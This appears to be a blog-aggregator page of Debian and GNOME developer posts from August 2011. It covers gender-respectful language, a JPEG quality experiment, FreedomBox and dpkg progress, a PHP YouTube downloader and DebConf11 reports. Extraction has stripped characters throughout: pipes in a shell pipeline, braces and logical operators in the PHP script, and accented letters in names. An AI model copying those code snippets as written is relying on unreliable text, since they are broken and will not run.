Search Results: "spa"

7 August 2011

Asheesh Laroia: Women, men, and accidentally being a jerk (at the Desktop Summit)

The first day of the Desktop Summit was yesterday, Saturday, August 6. I loved it and gave a presentation. There are two very different stories I can tell on the topic of gender equality in free software. I'll start with the bad.

It's pretty easy, in the U.S. at least, to get people of privilege to stop using terms that evoke centuries of oppression from slavery. It's harder to ask people to stop doing that to women. I'm writing this post to ask for that. There were two different times that people I generally respect used words that historically have been used to hurt and minimize women. "Cygnus Solutions is prostitutes." Dave Neary was delivering a talk (that I found impressively informative) called, "The cost of going it alone". When the talk covered the cost (in time and money) of getting your corporation's code into the community branch of an open-source project, he pointed out you could hire someone with the skills. Cygnus was the go-to company for that in the 1990s; to explain that Cygnus does not care who they work for, he said the sentence in bold. "The OpenSuSE Build Service is a slut." I was at a party at a hackerspace last night. Someone who I admire for his work in free in free software, both technical and community, was joking with me about that no one should compile (or use) GTK. I riffed on the joke and remarked, "The OpenSuSE build service will build anything." He replied with the sentence in bold. "Slut" and "prostitute" are terms that recall the objectification of women. They're terms that attempt to measure a woman's worth as a sex object. It's not nice to the many women in attendance to bring that up. You might not have thought this through. You might want to read one woman's take "On Sluts, Rape, and Fuckery". Give it a read. Then, give it a rest. The thing is, this matters all the time. That's why I have to call you two out on it. Now for the happy story.

While watching the Desktop Summit's intern showcase, I was floored. One hacker implemented Off-The-Record instant messaging for Telepathy. Another implemented pluggable back-ends for Getting Things GNOME, a task manager. I heard about overwhelming documentation and usability improvements to GNOME mainstays Cheese and Anjuta. In a short summer, these students made huge changes. For most of them, this was the first time they delivered any sort of presentation. Every single talk was delivered in earnest and enthusiasm. They told us about the work they had done and what might happen in the future. The other remarkable thing about the intern presentations was the demographics. I didn't keep count, but it seemed like as many women as men presented. We heard about hugely-important changes to documentation, code, and usability. People from central Europe, South Asia (yay), and Brazil took the stage. I hope that is the future of free software.

There are two things I want to see for our community. I want to know that people are respected and not reminded of centuries of oppression. I also want to see our community grow in size and diversity. I treat these issues as separate. We should choose respectful words when we speak not because we want more women to show up, but because it part of the expectation of decency that we should be able to expect from each other. And I failed the community when I did not make it clear there and then that this kind of language is not okay with me. It took me a day to understand this failure, so here I am writing this blog post. P.S. Thanks to Karen Rustad for her feedback while writing this post.

Antonio Terceiro: Playing with JPEG quality and file size

This is probably no news at all for graphics/image processing experts, but its something I've just learnt myself and I thought it would be fun to share. I am writing a static HTML photo algum generator and was a little suspicious of the size of the generated JPEG images. I thought "well, these JPEGs should not be that large ..." I did some quick research and found out that ImageMagick uses JPEG quality 92 by default and was curious how file size would vary as I changed the output quality. Then I took an image and produced thumbnails for it with the "JPEG quality" parameter ranging from 1 to 100 to check 1) how the file size varies with quality and 2) how much quality actually makes any difference when viewing the images. To generate the thumbnails with varying quality, I did the following:

$ for i in $(seq -f %03g 1 100); do convert -scale 640x480 -quality $i /path/to/original.jpg $i.jpg; echo $i; done

Then I generated a data file by calculating the size of each file with du and piping the results through sed and awk:

$ du -b [0-9]*.jpg   sed 's/.jpg//'   awk '  print $2 " " $1  '

The generated data file looks this, with JPEG quality in first column and file size in bytes in the second column:

Regarding to file size, it seems like between 1 and 50, file size grows sublinearly with quality. Beyond that, the curve reaches an inflection point and grows in a way that looks, if not exponentially, at least polynomially. Jpeg-file-size-by-quality

The above plot was produced in a R session that looked like this:

$ R
R version 2.13.1 (2011-07-08)
Copyright (C) 2011 The R Foundation for Statistical Computing
ISBN 3-900051-07-0
Platform: i486-pc-linux-gnu (32-bit)
R   um software livre e vem sem GARANTIA ALGUMA.
Voc  pode redistribu -lo sob certas circunst ncias.
Digite 'license()' ou 'licence()' para detalhes de distribui o.
R   um projeto colaborativo com muitos contribuidores.
Digite 'contributors()' para obter mais informa es e
'citation()' para saber como citar o R ou pacotes do R em publica es.
Digite 'demo()' para demonstra es, 'help()' para o sistema on-line de ajuda,
ou 'help.start()' para abrir o sistema de ajuda em HTML no seu navegador.
Digite 'q()' para sair do R.
> png()
> data <- read.table('points.dat')
> quality <- data[[1]]
> quality
  [1]   1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18
 [19]  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36
 [37]  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54
 [55]  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72
 [73]  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90
 [91]  91  92  93  94  95  96  97  98  99 100
> filesize <- data[[2]]
> filesize
  [1]  20380  20383  20634  21106  21551  22012  22469  22878  23323  23715
 [11]  24103  24494  24952  25327  25725  26127  26507  26886  27216  27550
 [21]  27917  28288  28627  28945  29271  29583  29919  30280  30516  30813
 [31]  31099  31367  31679  31873  32232  32538  32704  33072  33324  33443
 [41]  33860  34055  34253  34633  34804  35074  35216  35491  35871  35935
 [51]  36030  36443  36743  36898  37120  37382  37726  38077  38307  38581
 [61]  39002  39270  39700  39962  40388  40762  41086  41629  42062  42544
 [71]  43048  43392  44062  44824  45023  45682  46532  47347  47833  48701
 [81]  49612  50423  51694  52637  53635  55243  56340  58304  59709  62162
 [91]  64207  66273  70073  74617  79917  86745  94950 105680 128158 145937
> plot(quality, filesize, xlab = 'JPEG Quality', ylab = 'File size')
> 
Save workspace image? [y/n/c]: y

Looking at the actual generated thumbnails, somewhere after quality > 60 I stopped noticing the difference between increasing quality factors. Settling with a default quality of 75 seems to be good enough: the resulting static HTML album generated from a folder with 82 pictures dropped from 12MB with the default ImageMagick quality factor to 6MB with quality 75, with very little perceivable image quality loss.

6 August 2011

Bdale Garbee: FreedomBox in Banja Luka

FreedomBox activities at Debconf11 I spent the last two weeks of July 2011 in Banja Luka. The occasion was the annual Debian developer's conference, Debconf11 and preceding work week known as Debcamp. This was my tenth successive year attending Debconf, and I had a very productive and pleasant time! The facilities were good, the local team was friendly, enthusiastic, and very helpful, and in addition to giving three talks and hosting a couple panel discussions, I managed to put a burst of energy into work on FreedomBox. Several other developers working on FreedomBox were also present, and a good number of Sheeva and Dream plugs were evident in the hacklabs sporting new FreedomBox stickers. Working together in the same place for several days, we made good progress on several projects, and also had some great discussions about what we want to do going forward. image building tools For some time, I've been working towards a light-weight tool set to build FreedomBox software images. Shortly before Debconf started, I chose the name 'freedom-maker' for this tool and shared a link to a readable copy of my git repository with other developers I expected to work with in Banja Luka. With input from Bert Agaz and Jonas Smedegaard during Debcamp, freedom-maker went from almost useful to actually useful. It still deserves work to be more useful to others, but I have now pushed a copy of the git repository to git.debian.org so that we can take advantage of the tools supported there to enable others to more easily contribute to the code. Very soon, Bert plans to add support to freedom-maker for using Lars Wirzenius' vmdebootstrap to build x86 images suitable for testing in a virtualized environment. At the same time, we plan to refactor the existing code slightly to enable lists of desired packages for the various image flavors we expect to produce independently of the configuration for each specific image building tool. Jonas continued in parallel to work on his alternate packaging toolset boxer. It offers some potentially interesting features for the future, and we may eventually merge some or all of it into freedom-maker, but for now it remains a separate utility. uAP user space tools Several weeks ago, we received from Marvell the source code to two user space programs that are necessary for configuring and monitoring the binary firmware provided for the uAP wireless chip used in the DreamPlug. Early during my stay in Banja Luka, I packaged these for Debian as uaputl and uapevent, and I am pleased to note that they were quickly accepted into the archive and are now present in Debian mirrors. u-boot Another bit of code received very shortly before Debconf started was the source for the version of u-boot shipped by Globalscale in the DreamPlug units we're working with. During Debcamp, Clint Adams passed a copy of this source to Jason Cooper, who was already trying to add support for the DreamPlug to upstream u-boot, but had stalled due to a lack of information. Jason has now merged his own work with the sources we got from the manufacturer, and is making good progress towards merging DreamPlug support into upstream u-boot. Once that happens, we should be able to flash our Sheeva and Dream plug devices with a u-boot image built from the source in the Debian u-boot package, in the process enabling things that matter to us like the ability to boot from an ext2 partition, and hopefully the ability to execute command scripts from that partition instead of having to hard-code kernel filenames in flash. This will allow us to support the ongoing effort in Debian to move away from the need for kernel symlinks. DreamPlug kernels With respect to kernels, another work stream at Debconf primarily involving H ctor Or n and Nick Bane was to analyze the current state of the patches from Marvell and Globalscale used to support the DreamPlug against both upstream and current Debian kernel sources. To my surprise and our collective pleasure, the remaining patch set required against current upstream kernels is much smaller than we previously believed! There are still several patches critical to us that are not merged upstream, but the work remaining to be able to build images for our devices from mainline and Debian kernel source trees now seems like something we might be able to complete before Debian's next stable release. One of our discoveries during the u-boot and kernel work during Debconf was that Globalscale did not obtain a new machine id for the DreamPlug, but instead re-used the one for the GuruPlug series, despite there being some differences in the hardware that require at least one additional driver. After much discussion, we plan to continue using the existing machine id instead of requesting another, particularly because the ARM kernel community has apparently stopped issuing new ids for the moment. We will add a new kernel config option for the DreamPlug, however, and are likely to build distinct Sheeva and Dream kernel packages that do not require initrd for use in FreedomBox images, even if doing so is not strictly necessary. This will allow us to optimize both the in-memory footprint and boot times for our devices. software configuration Another area of investigation in Banja Luka was technology for package configuration. Mirsal Ennaime performed various tests using debconf and Config::Model, with some results reflected in this commit relating to configuring the bitcoind daemon in the bitcoin package for Debian. identity and trust management While we did not actually do any FreedomBox specific work on the trust management layer we know is necessary, after several rounds of conversation, I am now more convinced than ever that the right path forward is to base our trust relationships on OpenPGP keys using GnuPG and Monkeysphere as starting software elements. Our thinking to date is captured on an Identity Management page in the wiki. communication services Another thing that became fairly clear to me during discussions at Debconf is that in the near term, planning to build communication services around XMPP is the approach most likely to give good results. Investigating the software choices available to build an interesting XMPP infrastructure is now a high priority for me. Jonas has done some work towards configuring and integrating ejabberd or Prosody, I've started studying yate as a possible call manager and VoIP server choice with XMPP/jingle support, and we await with great interest a release from the Buddycloud developers to evaluate as a possible basis for deploying social network services. Some of these software choices will lead us to use Apache as our web services base technology because of the need for features that only it supports well among daemons that are Free Software. Jonas completed packaging GNU Sip Witch for Debian, and it is now available in the mirror network. Tzafrir Cohen and Jonas did some initial testing on its use. documentation A number of new wiki pages were written (or at least started) in order to sum up ideas, design various aspects of FreedomBox, and reflect discussions that happened during DebConf11. A lot of work is needed to complete these pages though, as well as others to capture more of the current state of the project. press coverage Finally, while in Banja Luka I got some great press coverage for FreedomBox! On Sunday the 24th, I was interviewed by the main television network serving the Republika Srpska. This led to a couple of minutes of coverage near the top of the national news program that night, immediately following the lead story about the President and several ministers appearing at Debian Day that morning to help open the conference. This interview was later re-used in another TV program that summarized Debconf11. On the morning of Thursday the 28th, I was part of a small group that spent more than an hour meeting with the Minister of Science and Technology in his office, and the relationship between Debian and our work on FreedomBox was one of the items of discussion in that meeting and the associated press conference. I'm told this resulted in more press coverage, but if true I have not seen it yet. summary On Friday afternoon the 29th, I gave a talk in the main Debconf program containing a FreedomBox Progress Report . In it, I talked about the structure of the FreedomBox Foundation, progress the foundation has made, and the work that was still then underway in Banja Luka. It was streamed live over the internet, and replays are available online. The reaction from Debian developers present was very positive, which was good to learn since by that time my energy level was quite low after the nearly two weeks of intense technical and social interaction that is Debconf! All in all, we got lots of work done on FreedomBox in Banja Luka, enough that I think at least the next few steps along the road towards an eventual "1.0" release of a reference implementation are now much clearer than they were two weeks ago!

Julien Valroff: DSPAM 3.10.0 released

The DSPAM project has recently released the 3.10.0 version of free content-based spam filter. Besides various bug fixes, the most important change is the switch to the AGPL-3 license (from GPL-2). The Debian packages are almost ready, but still require further testing as they have been largely amended, especially to add multiarch support. I expect to upload them to unstable within the next week or so, and, if no major problem happens in the meantime, will upload them to squeeze-backports as soon as they reach testing.

Julien Valroff: New signing subkey

Thanks to Lars Wirzenius who has written a nice how-to on GnuPG subkeys on the Debian wiki, I am now using a signing subkey. If you happen to have my key 0x258E26B1 in your public keyring, please update it:

gpg --keyserver hkp://the.earth.li --recv-keys 258E26B1

This will allow me to keep my master private key offline while still being able to sign mail or Debian packages for upload.

5 August 2011

Kai Wasserb ch: YouTube: download 1080p videos when CLive is unavailable

Todays addition to the tips series has a funny history. A friend of mine was stuck in an envrionment, where she couldn't install Perl or CLive but PHP with some PECL modules was installed. She needed to download a few videos for a presentation, but didn't know how to fetch the videos from YouTube. So I was asked to help. ;-) After some pondering of the problem, I came up with the following script:

<?php
/*
 * Copyright (C) 2011  Kai Wasserb ch <kai@dev.carbon-project.org>
 *
 * Small little script to help out in the absence of Perl/Clive but with
 * PHP present.
 *
 * License: GPLv3 <http://www.gnu.org/licenses/gpl-3.0.txt>
 *
 */
if(php_sapi_name() !== 'cli')
  die("This script needs to be run on the CLI!\n");
if($argc !== 2 )
  die("No URL given on CLI or too much parameters!\n");
// Script expects a URL like http://www.youtube.com/watch?v=[ID]
if(filter_var($argv[1], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) === false)
  die("Parameter given as URL does not seem to be an URL or contain a query!\n");
if(!$ch = curl_init($argv[1]))
  die("Couldn't init cURL handle for  ".$argv[1]." \n");
curl_setopt($ch, CURLOPT_HEADER,          false );
curl_setopt($ch, CURLOPT_RETURNTRANSFER,  true  );
$htmlsource = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if($htmlsource === false)
  die('cURL returned an error: '.$error."\n");
unset($error);
if(!preg_match('/url_encoded_fmt_stream_map=([a-zA-Z0-9%\.,\-_]+)&/',
               $htmlsource, $matches))
  die("No matches found for url_encoded_fmt_stream_map!\n");
$final = NULL;
foreach(explode(',', urldecode($matches[1])) as $decoded_url_map)  
  parse_str($decoded_url_map, $tmp);
  if($tmp['quality'] === 'hd1080')  
    $final = $tmp;
    $final['url']   = urldecode($tmp['url']);
    // $final['type']  = urldecode($tmp['type']); // Not used
    break;  // Not really needed, but should save us some
            // iterations, since 1080p seems to come always first.
   
 
if(!is_array($final)   is_null($final))
  die("No 1080p version of the video was found!\n");
if(!preg_match('/<meta property="og:title" content="(.*)"/', $htmlsource, $title))
  die("Couldn't determine title!\n");
$ftitle = preg_replace('/[^\w\d]*/', '', $title[1]);
printf("Found hd1080-quality video for  %s .\n", $argv[1]);
printf("Downloading to %s.mp4 ...", $ftitle);
if(!$ch=curl_init($final['url']))
  die("\nCouldn't create cURL handle for  ".$final['url']." \n");
if(!$fh = fopen(getcwd().DIRECTORY_SEPARATOR.$ftitle.'.mp4', 'wb'))  
  curl_close($ch);
  die("\nCouldn't create  ".$ftitle.".mp4 .\n");
 
curl_setopt($ch, CURLOPT_HEADER,         false );
curl_setopt($ch, CURLOPT_FILE,           $fh   );
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true  );
if(!curl_exec($ch))  
  $error = curl_error($ch);
  fclose($fh);
  curl_close($ch);
  die("\nCouldn't download video. cURL error: ".$error."\n");
 
curl_close($ch);
fclose($fh);
printf(" done.\n");
?>

You can download it from my website or you can just copy the code given above into a file. However you get the code, the execution will look like:

php -f /path/to/script.php
http://www.youtube.com/watch?v=[ID]

. Now, before I get a lot of e-mails telling me, what could be improved on the script or its other limitations (like only being able to download 1080p videos), please remember that it was hacked together for a simple use case with no real intent on my part to use it for anything else. It only later occurred to me, that others might be in a similar pinch sometime. Thus I'm releasing the above code "as is" under the GNU GPLv3. Therefore you're free to adapt it to your needs. Please also note, that I'm not recommending using the above script instead of CLive. If you can install CLive, do so and don't bother with the above.

4 August 2011

Raphaël Hertzog: My Debian activities in July 2011

This is my monthly summary of my Debian related activities. If you re among the people who made a donation to support my work (170 , thanks everybody!), then you can learn how I spent your money. Otherwise it s just an interesting status update on my various projects.

This month passed by very quickly since I attended both the Libre Software Meeting / RMLL and the DebConf. Libre Software Meeting / RMLL I attended only 3 days out of the 6 but that was a deliberate choice since I was also attending DebConf for a full week later in the month. During those 3 days I helped with the Debian booth that was already well taken care of by Fr d ric Perrenot and Arnaud Gambonnet. Unfortunately we did not have any goodies to sell. We (as in Debian France) should do better in this regard next time. One of the talks I attended presented EnVenteLibre. This website started as an online shop for two French associations (Ubuntu-fr, Framasoft). They externalize all the logistic to a company and only have to care about ordering goodies and delivering to the warehouse of the logistic company. They can also take some goodies from the warehouse and ship them for a conference, etc. We discussed a bit to see how Debian France could join, they are even ready to study what can be done to operate at the international level (that would be interesting for Debian with all the local associations that we have throughout the world). Back to the LSM, while I had 3 good days in Strasbourg, it seems to mee that the event is slowly fading out it s far from being an international event and the number of talks doesn t make for a better quality. BTW, do you remember that Debconf 0 and Debconf 1 were associated to this event while it was in Bordeaux? dpkg-source improvements During my time in Strasbourg (and in particular the travel to go there and back!) I implemented some changes to 3.0 (quilt) source format. It will now fail to build the source package if there are upstream changes that are not properly recorded in a quilt patch:

dpkg-source: info: local changes detected, the modified files are:
 2ping-1.1/README
dpkg-source: info: you can integrate the local changes with dpkg-source --commit
dpkg-source: error: aborting due to unexpected upstream changes, see /tmp/2ping_1.1-1.diff.cki8YB

As the error message hints, there s a new --commit command supported by dpkg-source that will generate the required quilt patch to fix this. In the processe you will have to submit a name and edit the patch header (pre-formatted with DEP3 compatible fields). You can get back the old behavior with the --auto-commit option. Build flags changes Ever since we adopted the Ubuntu changes to let dpkg-buildpackage set some build related environment variables (see #465282), many Debian people expressed their concerns with this approach both because it broke some packages and because those variables are not set if you execute debian/rules directly. In the end, the change was not quickly reverted and we fixed the package that this change broke. Despite this we later decided that the correct approach to inject build flags would be a new interface: dpkg-buildflags. Before changing dpkg-buildpackage to no longer set the compilation flags, I wanted to ensure dpkg-buildflags had some decent coverage in the archive (to avoid breaking too many packages again). My criteria was that CDBS and dh (of debhelper) should be using it. With the recent debhelper change (see #544844) this has been reached so I changed dpkg-buildpackage accordingly. Makefile snippets provided by dpkg At the same time, I also wanted an easy way for maintainers not using dh or CDBS to be able to fix their package easily and go back to injecting the compilation flags in the environment but doing it from the rules files. Starting with the next version of dpkg, this will be possible with something like this:

DPKG_EXPORT_BUILDFLAGS = 1
include /usr/share/dpkg/default.mk

Without DPKG_EXPORT_BUILDFLAGS the variables are not exported in the environment and have no effect unless you use them somewhere. More than build flags, this will also provide a bunch of other variables that can be useful in a rules files: all the variables provided by dpkg-architecture, vendor related variables/macro and some basic package information (mainly version related). dpkg-buildflags improvements Given the renewed importance that dpkg-buildflags will take now that dpkg-buildpackage no longer sets the corresponding environment variables, I thought that I could give it some love by fixing all the open issues and implementing some suggestions I got. I also had a chat with a few members of the technical committee to discuss how hardening build flags could be enabled in Debian and this also resulted in a few ideas of improvements. In the end, here are the main changes implemented:

new prepend directive to inject flags at the start (see commit);
new strip directive to strip flags from the result returned by dpkg-buildflags (see commit);
new environment variables DEB_flag_MAINT_directive that can be set by the maintainer to adjust what dpkg-buildflags will return (see commit);
new --export=configure command to inject build flags on the ./configure command line (see commit);
new --dump command that is the default (see #603435).

Will all those changes, the complete set of compilation flags can be returned by dpkg-buildflags (before it would only return the default flags and it was expected that the Debian packaging would add whatever else is required afterwards). Now the maintainer just has to use the new environment variables to ensure the returned values correspond to what the package needs. DebConf: rolling and hardening build flags I spent a full week in DebConf (from Sunday 24th to Sunday 31th) and as usual, it s been a pleasure to meet again all my Debian friends. It s always difficult to find a good balance between attending talks, working in the hacklab and socializing but I m pretty happy with the result. I did not have any goal when I arrived, except managing the Rolling Bof (slides and video here) but all the discussions during talks always lead to a growing TODO list. This year was no exception. The technical committee BoF resulted in some discussions of some of the pending issues, in particular one that interests me: how to enable hardening build flags in Debian (see #552688). We scheduled another discussion on the topic for Tuesday and the outcome is that dpkg-buildflags is the proper interface to inject hardening build flags provided that it offers a mean to drop unwanted flags and a practical way to inject them in the ./configure command line. Given this I got to work and implemented those new features and worked with Kees Cook to prepare a patch that enables the hardening build flags by default. It s not ready to be merged but it s working already (see my last update in the bug log). A few words about the Rolling BoF too. The room was pretty crowded: as usual the topic generates lots of interest. My goal with the BoF was very limited, I wanted to weigh the importance of the various opinions expressed in the last gigantic discussion on debian-devel. It turns out a vast majority of attendants believe that testing is already usable. But when you ask them if we must advertise it more, answers are relatively mixed. When asked if we can sustain lots of testing/rolling users, few people feel qualified to reply but those that do tend to say yes. More dpkg work Lots of small things done:

I did again some bug triaging on Launchpad. But Brian Murray did a lot of it and the result is impressive, we re down to 154 bugs (from more than 300 a month ago!).
I updated my multiarch branch multiple times. I was hoping to meet Guillem during DebConf to make some progress on this front but alas he did not attend. I have been asked a status update multiple times during my time in DebConf.
I fixed a regression in update-alternatives (#633627), a test-suite failure when run as root (#634961), a segfault in findbreakcycle. There have been a bunch of minor improvements too (#634510, #633539, #608260, #632937).

Package Tracking System and DEHS Christoph Berg recently wrote a replacement for DEHS because the latter was not really reliable and not under control of the QA team. This is a centralized system that uses the watch files to detect new upstream versions of the software available in Debian. I updated the Package Tracking System to use this new tool instead of DEHS. The new thing works well but we re still lacking the mail notifications that DEHS used to send out. If someone wants to contribute it, that would be great! Misc packaging work I did some preliminary work to update the WordPress package to the latest upstream version (3.2). I still have to test the resulting package, replacing upstream shipped copies of javascript/PHP libraries is always a risk and unfortunately all of them had some changes in the integration process. I also updated nautilus-dropbox to version 0.6.8 released upstream. I also uploaded the previous version (that was in testing at that time) to squeeze-backports. So there s now an official package in all the Debian distributions (Squeeze, Wheezy, Sid and Experimental)! Thanks See you next month for a new summary of my activities.

No comment Liked this article? Click here. My blog is Flattr-enabled.

Blars Blarson: debconf11

DebConf 11 -- Banja Luka, Bosnia and Herzegovina I'm writing this on my way back from my fifth DebConf, waiting in the Frankfurt Airport for my flight to Munich then another wait for a flight back to Los Angeles.

DebConf is the annual convention of Debian Developers and other interested in how Debian Linux (or Debian BSD) works, and want to help make it better. Debian is an international volunteer project, and Debconf is held each year in a different city, normally not on the same Continent two years in a row. Only one so far has been held in the United States, last year Debconf 10 was in New York City. (Mexico and Canada have also hosted Debconfs.)

DebConf is a week long conference, with one day designated as "Debian Day" with more introductory level talks, frequently in the local language, and local people are invited to learn about Debian. The rest of DebConf is held in English. This year had over 350 attendees from a couple of dozen countries. Unlike most computer conferences, DebConf is free to attend. (Professional and Corporate memberships are available for those who would like to financially support DebConf.) If you apply early enough, you can request help paying for food, lodging, and travel as well, but such support is limited and you have to justify it. This is all make possible by our generous sponsors, who include some major corporations who use Debian. This year DebConf was held in Banja Luka, Bosnia and Herzegovina. The Bosnian bid won partially based on the generous support of the Bosnian government, not only financial and letting us use one of their buildings for the conference, but also help with getting visas and other such aid. (Visas are not required from the US or most of Europe, but they are from some other countries.) I arrived on Saturday about 24 hours after I left home, starting with too little sleep. I actually managed to eat dinner before passing out in my hotel bed. The hotel room I had in Hotel Vidovic (accent on the c) was nicer than any I have stayed at in Europe (although I always chose by price), and the conference price was less than half what a similar room goes for at a US hotel. There was a nice breakfast buffet included in the hotel cost. (Hot omelets and sausages as well as the usual cold cuts, cheese, fruit, juice, coffee, tea, cereal, yogurt, etc.) The in-room ethernet connection worked all the time except one morning, although it was not particularly fast. The hotel is relatively new, the Lift (elevator) had a date of 2005 on it and I suspect that is when the building was constructed. Sunday was Debian Day, and I went to a couple of sessions before deciding to take a nap in the afternoon. My nap wound up being from 3pm to after 11pm, sleeping through dinner. I was awake for an hour or so checking my email, and then slept till 4am. That was the morning I made it to breakfast before 7am. This was the first time I ate breakfast at normal breakfast hours for a full week for many years.

After breakfast Monday, I spent several hours at the front desk helping give out badges, conference bags, and t-shirts. Lunches and dinners were in the Hotel Bosna, across the street from venue. For lunches we were served soup, salad, a plate of food, and desert. For dinners there was a buffet. The food served at Bosna was fairly good, but repetitive from day to day. (I've had much worse hotel food in the US for much more money.) Tuesday was more or less a repeat of Monday, with me opening the front desk by myself and not nearly as many new arrivals. The sessions varied of course, and I played "Debconf Experimental 5-card Mao". (Mao is a card game, popular in Cambridge and at DebConf.)

Wednesday was the Day Trip. One day at DebConf is dedicated to socializing while seeing some of the local culture of the hosting city/country. This year there was an option of rafting (with some white water) or visiting a historical monastery and hiking to a waterfall with several grain mills powered by diverted water. This is the first time I had seen one actually grinding grain. (It's mainly a historical tourist attraction, but I don't know what happens to the flower made.) We then met at the rafting location for a BBQ lunch. Apparently there was some miscommunicaiton and the rafting place was not prepared for 70 or 80 people who wished to go rafting, so some did not get to raft until after lunch, and I'm not sure all that wanted to did. Dinner was back at Bosna. Thursday was another normal conference day, with the new wrinkle of distributing food tickets since Bosna was not willing/able to follow our instructions on who should be allowed to eat at Debconf expense. Those who wished to dine with the other Debconf attendees could purchase the tickets from the front desk, although this was not well publicised and few people took us up on it. The special "Conference Dinner" was Thursday night. This was held at a restaurant on the 14th floor of a building a few blocks away, and was a fancier buffet. There didn't seem to be much difference between the first and second course, and they ran out of desert before many people got any. This one was not as memorable as the one in Mexico, but that one was for the wrong reasons, including an unplanned indoor waterfall. After the dinner I played Mao again, this time till 2am. Friday was the only day I did not arrive at the venue in time for the first session (10am).

Saturday I opened the front desk by myself again. In the afternoon was the "Debbugs Skills Exchange" that was requested by several people, so Collin Watson, Ian Jackson and I gave some information about it and Don Armstrong (who has done most of the recent coding on debbugs) participated via voip. (Debbugs is software for the Debian Bug Tracking System, often called the BTS.) Collin and Ian are emeritus members of the BTS team, and not active in it, while I am handling the spam filtering and haven't done much with the rest of the BTS. This was in the small "Meeting Room" (rather than the Auditorium or the round room) so we don't have to worry about video archives of it being available. (All the sessions is the two main rooms were streamed live on the internet, and will be edited and archived on http://meetings-archive.debian.net/pub/debian-meetings/2011/debconf11/.) We created a mini intro to the BTS document at that session that should be cleaned up and published. Less than two hours after that talk, the conference was over and teardown was started. As usual, the teardown and cleanup of what we had set up over several days was done is several hours, with many people helping.

Sunday was leaving day. I was one of the people on the 11am charter bus to Zagreb DebConf arranged. The two such charter busses were an excellent idea, since the normal busses and trains would not have been able to manage that many extra passengers. This actually took longer than the planned 4 hours due to the long lines at the border crossing on Sunday afternoon. Both Bosnia and Croatia check passports both coming and leaving, so it is checked on both sides of the river that is the border between the countries. The check is pretty cursory unless you are from a country that needs a visa. I then had a plane flight to Frankfurt, and am currently in the middle of my 11 hour layover here. After that I fly to Munich early in the morning, have an 8 hour layover, and fly to Los Angeles. This schedule was in order to get flights at something resembling reasonable cost when I did it. From what I saw of Banja Luka, it's a nice place to visit, although most of the people do not speak English. Vegetarians may have a hard time finding meals, and sometimes they try to serve fish to them. (Assuming vegetarian means "no meat".) Transportation to Banja Luka is a bit hard, there are only six or so flights per week to the local airport, and one of the airlines is not on the international ticket sites. Most DebConf attendees flew to Zagreb then took busses, trains, vans, or taxis to Banja Luka (a 2.5-5 hour ride depending on border lines, road construction, etc.). The weather was rainy off and on throughout Debconf, but the day of the Day trip the rain held off until most of us were back and we had a lovely day. Temperatures were warm but not overly hot, and I never needed my jacket.

There are many large alarm clocks in Banja Luka, (such as the one pictured here, across the street from the venue) but there doesn't seem to be a way to change the time setting or put them on snooze.

Diego Escalante Urrelo: GUADEC Hispana in Sevilla

Sevilla is located in the (one of the many actually) oh-boy-is-that-really-the-temperature region of Spain. It has been historically significative for its financial, artistic and cultural value. But it s most important role has been that of hosting lots of GNOME activity. The 3rd ever GUADEC was held here, those cool Emergya guys who are working on a11y live here, and the even more awesome Sugus ETSII group helping with the conference setup and beer availability who helped organize the GNOME 3 launch party in Sevilla.

GUADEC Hispana group picture by Ana Rey (from GUADEC_ES8 set) Not as huge as GUADEC, but certainly as much fun as it, GUADEC Hispana lets the Spanish speaking community get closer together, get bugs fixed and only as a side effect get a bit drunk. A big thank to Ana, Juanje, V ctor, the Sugus team and all the local people that contributed. Also, of course, thanks to our GNOME loving (and loved) companies: Emergya, Igalia and OpenShine. And don t forget Escuela T cnica Superior de Ingenier a Inform tica who hosted the event. Beer time now. See ya at Berlin.

Aigars Mahinovs: Debconf 11 postmortem

Another year, another Debconf and now it is passed. Pictures are processes and all are now uploaded. We are still missing 25 names in the Debconf 11 group photo. With 265 people and 86 Mpix it is the highest resolution image we have had so far (Spain image had a bit more pixels, but a lot of them were outside the actual photo) and the largest number of people (Edinburgh photo had 248 people). The video team produced hundreds of gigabytes of footage, we had very interesting talks and debates and sometimes the AdHoc meeting room on the side was overcrowded with people in BoFs that were not on the initial schedule. It has been a very special kind of conference. As it always is.

As always, there were also some problems. I did not read the debconf-team mailing list, but I hear there was plenty of fun discussions to be had in the run-up to the event, some information on getting to the venue was not quite clear (that was quickly fixed as first people arriving to Debcamp were documenting their experience), the organizational dance with the food tickets was more elaborate than usually, both the day trip and the formal dinner were more self-driven than expected, vegetarian complaint level was about the same as usual (which is considered high by some) and the wireless in the hotel was very weak, also Saturday weddings are quite loud and run very late apparently.
To compensate for that we had: very sunny Debcamp, cheap beer (!!!), great quality accommodations, very good looking venue, good network at the venue (after initial scalability issues with the wireless), good food (that did sometimes run out, though), short distances to all locations, oh and did I mention cheep beer? What do we learn from this for next year? I am told that Debconf12 team has already had some meetings specifically to identify and learn from some shortcomings and strengths of this years conference. However, I think everyone of us might have an idea or two to add to the mix as well. For example, I think that BoF rooms are great and we should expand and solidify on that concept: take a page from unconference playbook have a board on-site where people can book slots for their BoF in one of the two rooms for tomorrow. Not far in advance and without moderation requirement of penta scheduling. In the evening the stickers can be taken down and tomorrows BoFs can be added to the schedule at that point, so the people can see online what is going on.
Also I think that we need some kind of coverage of the BoF room(s) from the video team. Even if that is in a form of a single self-service omnidirectional microphone where people could just walk into the room, press a single button and the audio would start streaming and recording.
In addition we could have a screen with the IRC channel of the room projected onto a screen on a side of the stage, to simplify getting questions off the channel. Recording that channel (as a text log) could also be useful.
It feels like post-conference assembly of the talk lists, presentations, links to the relevant recordings, photos, chat logs, ideas, comments, for every talk is very problematic in penta, should we perhaps just use wiki for that?
